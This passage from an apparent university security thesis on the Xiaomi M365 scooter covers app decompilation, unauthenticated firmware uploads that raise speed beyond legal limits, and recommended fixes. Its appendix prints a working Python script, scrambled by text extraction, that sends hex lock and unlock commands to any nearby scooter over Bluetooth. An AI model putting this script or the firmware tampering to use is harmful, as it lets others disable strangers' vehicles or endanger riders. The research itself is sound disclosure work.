• adbshellpmlistpackages tolistallthepackagesonausbconnectedAndroiddevice.
• adbpull/data/app/package-name-1.apk topullthedevice. Thereafter,thepackagewassuccessfullypulledandweneededtodecompiletheclass files,whichareresponsibleforthefunctionalityandthelogicoftheapplication.These classfilesareoriginallyinDalvikExecutable(.dex)format 21.Theycanbeusedtowork backwardsandobtainamorereadableformatsuchasSmali,AssemblyorJava.Inthis projecttheclassesweredecompiledfirstusing apktool.Thisallowedustoreadthe AndroidManifest.xml filewhichhelpsidentifytheentrypointsandmainactivitiesinthe application.
TheclassesweredecompiledsuccessfullyandthesourcecodeaswellastheAndroid
21DalvikExecutableformat-www.source.android.com/devices/tech/dalvik/dex-format.html
Figure5.3:LockingscooterusingBettercap
20
manifestweremadeavailable.Thisisasfaraswewentwiththemobileapplication pursuitduetothesizeoftheapplication,timerestraintsandlackofexperienceinthe area.Softwarewhichdecompilesbinaryfilesnormallyproducesexecutablecodethatis extremelydifficulttoreadandisofteninaccurate.Asaresultitwasnotpossibletoextract muchusefulinformationfromthissourcecode.However,itisimportanttonotethatthere areseveralAndroidapplicationsthatweremadebyexternalindividualswhichallowthe usertointeractwiththeM365scooterandreaditsinformationsimilarlytohowonecould dothroughtheoriginalapplication.Itisreasonabletoassumethatreverseengineering techniquesweresuccessfullyusedinthedevelopmentprocessoftheseapplications.
Firmware
ThefirmwareoftheXiaomiM365scooterdefinestheinnerworkingsofthedevice.The firmwareonthescooterisupdatedbytransmittingabinaryfileoverBluetooth.We successfullymanagedtouploadalteredfirmwareusingthird-partysoftwareavailable onlinethatallowedustochangetheoperationofthescooter 22.Thehackedsoftware allowsausertosetseveralofthescooter’sinternalvariables,suchastopspeedlimitand theminimumspeedbeforetheenginewillstart.Itthenproducesabinaryfilethatthe useruploadstothescooterusinganotherthird-partyapplication 23.Wewereableto increasethespeedofthescooterfarbeyondthe20km/hlegallimitforelectricscootersin Sweden,withourfastestrecordedspeedbeing35km/h.Theentireprocessofcustomizing thefirmwareanduploadingitthescooterwastriviallyeasyandcouldbeaccomplished bysomeonewithverylittletechnicalexperience.Alarmingly,despiteushavingsetup apasswordonourscooterwewereabletouploadourhackedfirmwarewithoutany authentication.Thisrelatestothreat#5inourthreatmodelandposesaseriousriskas anyscooterthatisturnedonwithinBluetoothrangecanhavecustomfirmwareuploaded toitinlessthanaminute.
Aswellasuploadinghackedfirmwaretothescooter,weanalysedtheoriginalXiaomi firmwaretosearchforvulnerabilities.Gettingaccesstothebinaryversionsoftheoriginal firmwarecanbeachievedbydownloadingthemfromtheweb,oraMITMattacklistening betweenthemobilephoneandthescooterwhilstthephoneistransmittingafirmware updatetothescooter.Oncewehadaccesstotheofficialfirmwareweusedadecompiler toturnthebinaryfilesintoreadableassemblyandthenC.Thesoftwareweusedfor
22CustomFirmware-https://m365.botox.bz
23m365DownG-www.play.google.com/store/apps/details?id=com.m365downgrade
21
thistaskwasGhidrawhichisasoftwarereverseengineeringsetoftoolsdevelopedby theNSA 24.Throughdecompilingthesoftwarewewereabletopinpointthepartsofthe codethatsettheinternalvariablesrelatedtospeed,thusreproducingthesamecustomer firmwarehackaspreviousattackers.Howeverwewerenotabletoanalysethefirmware thoroughlyenoughtofindanyvulnerabilities.AsmentionedintheMobileApplication sectiondecompilingsoftwareisaprocessthatrequiresexperienceinordertoderive productiveresults.Inthefutureitwouldbeinterestingtobeabletoeditthefirmware manuallyourselves,compileitandthenuploadittothescooter.
Hardware
Asthescooterdoesnothavecomputationallydifficulttaskstocompleteitcontains relativelysimplepiecesofcomputerhardware.ThehandlebarscontainaCortex-M0 chipthatdealswiththeperipherals.ThechassiscontainsamorecomplexCortex-M3 chipalongsidethescooter’sBluetoothchipwhichoperatethemotorandcommunication withtheuser’sphone.Theseseparatecomponentscommunicateinternallyusingaserial databus.Therearenoportsonthescooterwiththeintendeduseofinteractingwiththe scooter’sinternalcomputersystem,theonlyphysicalportonthescooteristhecharging port.Thirdpartycompanieshavereleasedproductsthathijackthedatabuseswithin 24Ghidra-www.ghidra-sre.org
Figure5.4:Screenshotofthem365downgradesoftware
22
thebodyofthescooterthatmakeuseoftheinformationtravellingalongthewires. Oneexampleisthe”M365Dash”whichisasmallscreenusersattachtotheirscooter whichgivestheminformationsuchasspeedandbatterylifethatwouldnormallyonly beaccessedviatheXiaomiapp 25.Inordertoaccessthesecommunicationbusesone hastoopenuptheplasticandmetalcasingofthescooterwithtoolsandthensolderon equipmenttogetaccesstothedatawires.Wecametotheconclusionthatdespitethefact apotentialhackofthehardwarewouldgivetheattackeraccesstotheentirecomputer system,theamountofeffortandtechnicalskillrequiredtohackjustonedevicemade itaveryunlikelyandlow-riskthreat.Despitethis,therehavebeensuccessfulhardware attacksonvehiclesinthepastandthisisanareathatcouldbefurtherresearchedwith regardstoelectricscooters[8].
25M365Dash-www.m365dash.com 23
FromlookingatthethreatmodelandthehackingresultsoftheXiaomiscooter,one couldsaythatthenecessityforsecurityimprovementsisevident.Asstatedinthefourth vulnerabilityinourthreatmodel,onecouldreproducethecommandsandactionsofauser remotelyandwithouthavingtosurpasstheauthenticationstep.Thisisclearlyfarfrom matchingtheconsumer’sexpectationswhenitcomestothesecurityofthedevice.
Moreover,thethreatseenintheabilitytouploadreconfiguredfirmwareonthescooteris evidentlyofhighpotentialdamage.Onecouldoverridefunctionalityandconfigurations thatareclearlyputinplacewiththeaimofenhancingtheuser’ssafety.Thisalongside theabilitytoincreasethepresetspeedlimitandreducethescootersreactiontime,could provetobeofgreatrisktoanunknowingrider.Italsomakesiteasytoreconfigurethese machinesforpersonaluse,makingthemmorepowerfulthanlawfullyintended,whichin turnposesathreat.
Themagnitudeofthethreatsvariesdependingonthescaleofconsumption.Thepotential harmthatcanbeinflictedduetotheaforementionedvulnerabilitiesdrasticallyincreases ifthetechnologyismarketedforcommercialuse.Forexample,assumingthetechnology isnotmodifiedandthesecurityisnotenhancedwhenthesedevicesareusedinlarge scaleride-shareapps,onecouldseehowrelativelyminorvulnerabilities,suchasremotely lockingandunlockingascooter,canbeusedtoproduceagreatdealofdamage.
ThevulnerabilityseenintheabilitytoproducereplayattacksintheBluetoothconnection andconnecttothescooterfromanunauthenticateddevicecouldbeimprovedby encryptingthedataexchangebetweenthescooterandthemobileapplication.Thisis infactalreadydoneinthelatestfirmwareupdateintroducedbyXiaomi.However,the vulnerabilityseeninuploadingreconfiguredfirmwareisstillapotentialattackvector. Inotherwordstheprotectionintroducedinthenewfirmwareupdatecanbeoverridden byuploadingdowngradedfirmware,whichreintroducestheoriginalvulnerabilities.An improvementwouldbetoencryptthefirmwareitselfsothatitishardertodecompileand reconfigure.Itisalsoarguablethatthisisamoresignificantimprovementthanmerely encryptingthecommunicationbetweentheuserandthescooter,asthevulnerabilities introducedbyreconfiguredfirmwareareofhigherpotentialdamage.
Areasoffurtherresearchthatwerenotpursuedincludetakingdeeperlooksintothe decompiledfirmwareandandroidapplication.Tryingtomodifythedecompiledsoftware, recompileitandtestitprovedtobegreatlytimeconsuming.However,itcouldprovide
6Conclusionsandfurtherresearch
24
greaterinsighttothesourceofthethreatsfoundinthetechnology.
25
Acknowledgements
WewouldliketothankRobertLagerströmandPontusJohnsonfortheirsupportand providingusaccesstofreecoffeethroughouttheproject.
26
References
[1] Cipresso,Teodoro.“Softwarereverseengineeringeducation”.In: SanJoseState University (2009).URL: https://scholarworks.sjsu.edu/cgi/viewcontent. cgi?article=4730%5C&context=etd_theses.
[2] Flick,TonyandMorehouse,Justin.“SecuringtheUtilityCompanies”.In: Computers&Security (2011).DOI: https://doi.org/10.1016/B978-1-59749570-7.00008-X.URL: https://www.sciencedirect.com/science/article/ pii/B978159749570700008X.
[3] Gonzalez,Hugo,Kadir,Andi,andStakhanova,Natalia.“Exploringreverse engineeringsymptomsinAndroidapps”.In: EuroSec’15ProceedingsoftheEighth EuropeanWorkshoponSystemSecurityArticleNo.7 (2015).URL: https://dl. acm.org/citation.cfm?id=2751330
[4] Guzman,AaronandGupta,Aditya.“IoTpenetrationtestingcookbook:identify vulnerabilitiesandsecureyoursmartdevices”.In: Pakt (2017).
[5] Markey,Ed.“TrackingandHacking:SecurityandPrivacyGapsPutAmerican DriversatRisk”.In: UnitedStatesSenate (2015).URL: http://www.markey. senate.gov/imo/media/doc/2015-02-06_MarkeyReport-Tracking_Hacking_ CarSecurity%5C%202.pdf
[6] Miller,CharlieandValasek,Chris.“Adventuresinautomotivenetworksandcontrol units”.In: ASANSWhitepaper (2013).URL: http://www.carmelowalsh.com/wpcontent/uploads/2014/05/Car_Hacking_Hacktivity_2013_whitepaper.pdf
[7] Miller,CharlieandValasek,Chris.“Remoteexploitationofanunalteredpassenger vehicle”.In: BlackHatUSA (2013).URL: https://ericberthomier.fr/IMG/pdf/ remote_car_hacking.pdf.
[8] Shoukry,Yasseretal.“Non-invasiveSpoofingAttacksforAnti-lockBraking Systems”.In: Springer (2013).URL: https://link.springer.com/chapter/ 10.1007/978-3-642-40349-1_4.
[9] Xiong,Wenjun,Krantz,Fredrik,andLagerström,Robert.“Threatmodelingand attacksimulationsofconnectedvehicles:aresearchoutlook”.In: ICISSP19 (2019).URL: http://insticc.org/node/TechnicalProgram/icissp/ presentationDetails/74121.
27
Xiong,WenjunandLagerström,Robert.“ThreatModeling:ASystematicLiterature Review”.In: ScienceDirect (2019),pp.53–69.DOI: https://doi.org/10.1016/j. cose.2019.03.010.URL: https://www.sciencedirect.com/science/article/ pii/S0167404818307478.
[10]
28
Automatedscootercommandscript
BelowisthecodeforaPythonprogramwhichcansendlockandunlockcommandstoany nearbyXiaomiM365scooter.Theprogramfirstlooksforadvertisingscooters.Oncea scooterisfounditconnectsandtransferstheBLEcommand.Moreinformationcanbe foundat”www.github.com/louiscb/Mi365Locker-RASPI”.
1 from bluepy import btle
2 from bluepy.btle import Scanner,DefaultDelegate
3 from bluepy.btle import BTLEDisconnectError
4 from bluepy.btle import BTLEGattError
5 import codecs
6 import signal
7 import sys
8 import os
9
10 # CHARACTERISTIC
11 WRITE_UUID= ”6e400002 b5a3 f393 e0a9 e50e24dcca9e ”
12
13 # COMMANDS
14 LOCK= ” 55aa032003700168ff ”
15 UNLOCK= ” 55 aa032003710167ff ” 16
17 # CONSTANTS 18 TIMEOUT_LENGTH=3 19 FILE_NAME= ” scootersAddr txt ” 20 COMMAND= ” ”
22 if sys.argv[2]== ” lock ” :
”
Appendix
21
23
27
28
30
31
33 34
29
COMMAND=LOCK 24 elif sys.argv[2]==
unlock ” : 25 COMMAND=UNLOCK 26 else :
raise Exception( ’Command not recognised ’ )
29 def timeout_handler(signum,timeout_handler):
raise TimeoutError
32 signal.signal(signal.SIGALRM,timeout_handler)
class ScanDelegate(DefaultDelegate):
def __init__(self):
DefaultDelegate.__init__(self)
scanner=Scanner().withDelegate(ScanDelegate())
devices=scanner.scan(2)
41 def add_addr_to_known(dev_addr):
file_exists=os.path.exists( ’ ./ ’ +FILE_NAME)
if file_exists:
with open (FILE_NAME)as file :
addresses=[line.strip() for line in file ]
for addr in addresses:
if addr==dev_addr:
return None
f= open (FILE_NAME, ” a ” )
print (dev_addr, file =f)
f.close()
56 def write_command(dev,command): 57 signal.alarm(TIMEOUT_LENGTH) 58 peri=btle.Peripheral(dev)
59 characteristics=peri.getCharacteristics(uuid=WRITE_UUID)[0] 60 characteristics.write(codecs.decode(command, ’ hex ’ ))
peri.disconnect() 62 print ( ” Success ! ” )
add_addr_to_known(dev.addr)
65 def write_devices(devs,command):
for dev in devs:
try :
print ( ” Attempting to send command to device ” ,dev.addr,dev. getScanData()) 69 write_command(dev,command)
70 except (BTLEDisconnectError,BTLEGattError,TimeoutError): 71 print ( ” Couldn ’ t connect ” )
73 def get_known_addr(devs): 74 file_exists=os.path.exists( ’ ./ ’ +FILE_NAME)
known_devices=[]
if file_exists:
36
37
40
43 44
45
46
47 48
49
50
51 52
53
54
35
38
39
42
55
61
63
64
67
66
68
72
76
30
75
77
print ( ’ file exists ’ )
with open (FILE_NAME)as file :
known_addr=[line.strip() for line in file ]
print ( ’ [%s ] ’ % ’ , ’ .join(map( str ,known_addr)))
for addr in known_addr:
raise
’No saved addresses in file ’ +FILE_NAME)
print ( ” Scanning ” , len (knownDevices), ” device / s in bluetooth area ” )
raise Exception( ’ Could not find any known devices in area ’ )
80
81 82
83 84 for
85
86
87
88 else : 89
90 91 return known_devices 92 93 if sys.argv[1]==
94 print
95 write_devices(devices,COMMAND) 96 elif
97
98 99 if knownDevices: 100
101
102 else : 103
104 else : 105
31
78
79
dev in devs:
if dev.addr==addr:
known_devices.append(dev)
Exception(
” scan ” :
( ” Scanning ” , len (devices), ” device / s in bluetooth area ” )
sys.argv[1]== ” saved ” :
knownDevices=get_known_addr(devices)
write_devices(knownDevices,COMMAND)
raise Exception( ’ incorrect arguments ’ )
TRITA-EECS-EX-2019:220 www.kth.se